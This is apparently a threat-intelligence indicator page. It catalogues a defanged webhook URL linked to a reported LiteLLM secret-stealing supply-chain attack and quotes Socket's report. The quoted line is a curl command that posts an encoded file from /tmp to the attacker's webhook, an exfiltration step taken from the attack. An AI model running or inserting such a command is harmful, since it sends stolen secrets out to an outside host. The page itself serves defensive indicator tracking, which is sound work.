ctrlINT What the industry said about every indicator, with the quote

hxxps://webhook[.]site/65a42464-3cfa-4b02-a18c-17a6d7b86f37URL

Reported by 1 independent source · first reported by Socket · last reported

Last reported yesterday

What the reports say

1 report, newest first · the exact sentence from each
  1. “curl -m 25 -s -X POST "hxxps://webhook[.]site/65a42464-3cfa-4b02-a18c-17a6d7b86f37" -H 'Content-Type: text/plain' -H 'X-Tag: lm1' --data-binary @/tmp/c.b64 || true”

    SocketVendor
    New Evidence Shows LiteLLM Secret-Stealing Workflows Ran 11 Days Before Supply Chain Attack

Indicators reported together

named in the same reports
Copy these 3 indicators · defanged

Thanks — we review every report.

Report a wrong value
What is wrong with hxxps://webhook[.]site/65a42464-3cfa-4b02-a18c-17a6d7b86f37 here?
No account needed. We do not store your IP address.